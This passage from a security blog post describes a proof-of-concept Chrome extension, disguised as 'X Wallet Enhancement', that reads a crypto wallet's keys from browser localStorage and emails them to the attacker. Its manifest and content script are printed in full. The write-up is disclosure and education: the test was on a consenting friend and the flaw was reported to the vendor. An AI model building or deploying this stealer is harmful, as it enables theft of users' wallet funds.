from local storage<sup class="footnote-reference"><a href="#1">1</a></sup>.</p>
<p>To prove this, I decided to <a rel="noopener external" target="_blank" href="https://developer.chrome.com/docs/extensions/mv3/getstarted/development-basics/">write a simple extension for Chrome</a> that would retrieve keys from a victim's browser and send them to my
anonymous email address.</p>
<p>The root directory of my pickpocket extension looked like this:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#D20F39, #F38BA8);font-style: italic;">.</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">├──</span><span style="color: light-dark(#40A02B, #A6E3A1);"> content.js</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">├──</span><span style="color: light-dark(#40A02B, #A6E3A1);"> email.min.js</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">├──</span><span style="color: light-dark(#40A02B, #A6E3A1);"> index.html</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">└──</span><span style="color: light-dark(#40A02B, #A6E3A1);"> manifest.json</span></span></code></pre>
<p>The main files are the <code>manifest.json</code> and <code>content.js</code>. The former is essential for installing the extension.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="json"><span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">{</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">  &quot;</span><span style="color: light-dark(#1E66F5, #89B4FA);">name</span><span style="color: light-dark(#7C7F93, #9399B2);">&quot;</span><span style="color: light-dark(#7C7F93, #9399B2);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">X Wallet Enhancement</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#7C7F93, #9399B2);">,</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">  &quot;</span><span style="color: light-dark(#1E66F5, #89B4FA);">version</span><span style="color: light-dark(#7C7F93, #9399B2);">&quot;</span><span style="color: light-dark(#7C7F93, #9399B2);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">1.0</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#7C7F93, #9399B2);">,</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">  &quot;</span><span style="color: light-dark(#1E66F5, #89B4FA);">manifest_version</span><span style="color: light-dark(#7C7F93, #9399B2);">&quot;</span><span style="color: light-dark(#7C7F93, #9399B2);">:</span><span style="color: light-dark(#FE640B, #FAB387);"> 3</span><span style="color: light-dark(#7C7F93, #9399B2);">,</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">  &quot;</span><span style="color: light-dark(#1E66F5, #89B4FA);">content_scripts</span><span style="color: light-dark(#7C7F93, #9399B2);">&quot;</span><span style="color: light-dark(#7C7F93, #9399B2);">:</span><span style="color: light-dark(#7C7F93, #9399B2);"> [</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">    {</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">      &quot;</span><span style="color: light-dark(#1E66F5, #89B4FA);">matches</span><span style="color: light-dark(#7C7F93, #9399B2);">&quot;</span><span style="color: light-dark(#7C7F93, #9399B2);">:</span><span style="color: light-dark(#7C7F93, #9399B2);"> [</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">        &quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">https://wallet.****.org/*</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">      ]</span><span style="color: light-dark(#7C7F93, #9399B2);">,</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">      &quot;</span><span style="color: light-dark(#1E66F5, #89B4FA);">js</span><span style="color: light-dark(#7C7F93, #9399B2);">&quot;</span><span style="color: light-dark(#7C7F93, #9399B2);">:</span><span style="color: light-dark(#7C7F93, #9399B2);"> [</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">        &quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">email.min.js</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#7C7F93, #9399B2);">,</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">        &quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">content.js</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">      ]</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">    }</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">  ]</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">}</span></span></code></pre>
<p><code>email.min.js</code> is just a client library from one of the cloud services that allows you to send
email directly from a browser without any server code. <code>index.html</code> is a blank HTML page that
displays nothing. The wallet hijacking logic lived in the <code>content.js</code> file:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="javascript"><span class="giallo-l"><span>emailjs</span><span style="color: light-dark(#179299, #94E2D5);">.</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">init</span><span>(</span><span style="color: light-dark(#40A02B, #A6E3A1);">&#39;</span><span style="color: light-dark(#40A02B, #A6E3A1);">user_****</span><span style="color: light-dark(#40A02B, #A6E3A1);">&#39;</span><span>)</span><span style="color: light-dark(#7C7F93, #9399B2);">;</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> //</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> instantiating an email delivery service</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">let</span><span> templateParams</span><span style="color: light-dark(#179299, #94E2D5);"> =</span><span style="color: light-dark(#7C7F93, #9399B2);"> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">    //</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> gathering information about the victim&#39;s browser</span></span>
<span class="giallo-l"><span>    from_name</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span> navigator</span><span style="color: light-dark(#179299, #94E2D5);">.</span><span>userAgent</span><span style="color: light-dark(#7C7F93, #9399B2);">,</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">    //</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> fetching wallet keys from the local storage</span></span>
<span class="giallo-l"><span>    storage</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span> window</span><span style="color: light-dark(#179299, #94E2D5);">.</span><span>localStorage</span><span style="color: light-dark(#179299, #94E2D5);">.</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">getItem</span><span>(</span><span style="color: light-dark(#40A02B, #A6E3A1);">&#39;</span><span style="color: light-dark(#40A02B, #A6E3A1);">_*:wallet:active_account_id_**</span><span style="color: light-dark(#40A02B, #A6E3A1);">&#39;</span><span>)</span><span style="color: light-dark(#7C7F93, #9399B2);">,</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">}</span><span style="color: light-dark(#7C7F93, #9399B2);">;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">//</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> using a prepared email template to send an email with keys</span></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">const</span><span> serviceID</span><span style="color: light-dark(#179299, #94E2D5);"> =</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &#39;</span><span style="color: light-dark(#40A02B, #A6E3A1);">service_****</span><span style="color: light-dark(#40A02B, #A6E3A1);">&#39;</span><span style="color: light-dark(#7C7F93, #9399B2);">;</span></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">const</span><span> templateID</span><span style="color: light-dark(#179299, #94E2D5);"> =</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &#39;</span><span style="color: light-dark(#40A02B, #A6E3A1);">template_****</span><span style="color: light-dark(#40A02B, #A6E3A1);">&#39;</span><span style="color: light-dark(#7C7F93, #9399B2);">;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>emailjs</span><span style="color: light-dark(#179299, #94E2D5);">.</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">send</span><span>(</span><span>serviceID</span><span style="color: light-dark(#7C7F93, #9399B2);">,</span><span> templateID</span><span style="color: light-dark(#7C7F93, #9399B2);">,</span><span> templateParams</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#179299, #94E2D5);"> .</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">then</span><span>(</span><span style="color: light-dark(#7C7F93, #9399B2);">(</span><span style="color: light-dark(#7C7F93, #9399B2);">)</span><span style="color: light-dark(#8839EF, #CBA6F7);"> =&gt;</span><span style="color: light-dark(#7C7F93, #9399B2);"> {</span></span>
<span class="giallo-l"><span>    console</span><span style="color: light-dark(#179299, #94E2D5);">.</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">log</span><span>(</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">Wallet keys were send!</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span>)</span><span style="color: light-dark(#7C7F93, #9399B2);">;</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);"> }</span><span style="color: light-dark(#7C7F93, #9399B2);">,</span><span style="color: light-dark(#7C7F93, #9399B2);"> (</span><span style="color: light-dark(#E64553, #EBA0AC);font-style: italic;">err</span><span style="color: light-dark(#7C7F93, #9399B2);">)</span><span style="color: light-dark(#8839EF, #CBA6F7);"> =&gt;</span><span style="color: light-dark(#7C7F93, #9399B2);"> {</span></span>
<span class="giallo-l"><span>    console</span><span style="color: light-dark(#179299, #94E2D5);">.</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">error</span><span>(</span><span style="color: light-dark(#FE640B, #FAB387);">JSON</span><span style="color: light-dark(#179299, #94E2D5);">.</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">stringify</span><span>(</span><span>err</span><span>)</span><span>)</span><span style="color: light-dark(#7C7F93, #9399B2);">;</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);"> }</span><span>)</span><span style="color: light-dark(#7C7F93, #9399B2);">;</span></span></code></pre>
<p>Yes, such a dummy script.</p>
<p>I packed all four files into a zip archive and kindly asked my friend, who also had
a wallet at <code>https://wallet.***.org</code>, to install my creation in his browser
(pretending to do some social engineering). Before doing so, I told him about my findings and
the theory I was trying to prove. He was happy to help, and the public and private keys of
this wallet account appeared in my inbox a few seconds after the browser extension was installed.
Next, I saved the keys to local storage in my browser and opened the wallet website.</p>
<p>Surprisingly, my friend's crypto-wallet balance was available to me, along with an option to
withdraw the funds. During a Zoom call with my victim friend, I transferred some of his funds to
an anonymous account and back. It was mind-blowing! A new, promising blockchain that had recently
closed an investment round had a major vulnerability in its wallet. Worst of all, they had 2-factor
authentication for users. Of course, not many people would activate it right away, and many didn't.</p>
<p>As an ethical developer, I created a vulnerability report, including the source code of
the browser extension and my thoughts on how to improve the security of the web application.
It was sent directly to the security team's email address on January 18. A few days later,
I had a call with the CISO of the blockchain protocol, who assured me that they were aware of
the issue and would address it in the next release. I was a little disappointed with the speed of
the response to the incident. Two days is an eternity when one speaks about users' money.
Nevertheless, the blockchain developers granted me their tokens in an amount equivalent to 1,000 USDT.</p>
<aside class="callout callout-danger" aria-label="Advice for application developers">
  <p><strong>Advice for application developers:</strong> Be aware of the technologies you use and their security aspects.</p>
</aside>
<aside class="callout callout-warning" aria-label="Advice for crypto users">
  <p>
    <strong>Advice for crypto users:</strong> Learn what security options an organization offers,
    activate two-factor authentication as soon as you create a wallet account, and don't store all
    of your funds in hot wallets.
  </p>
</aside>
<div class="footnote-definition" id="1"><sup class="footnote-definition-label">1</sup>
<p>Further reading:</p>
<ul>
<li><a rel="noopener external" target="_blank" href="https://snyk.io/blog/is-localstorage-safe-to-use/">Is LocalStorage safe to use? | Snyk</a></li>
<li><a rel="noopener external" target="_blank" href="https://www.rdegges.com/2018/please-stop-using-local-storage/">Please Stop Using Local Storage</a></li>
<li><a rel="noopener external" target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies">Using HTTP cookies | MDN</a></li>
<li><a rel="noopener external" target="_blank" href="https://owasp.org/www-community/HttpOnly">HttpOnly | OWASP Foundation</a></li>
</ul>
</div>

        
      ]]></description>
    </item>
    
  </channel>
</rss>
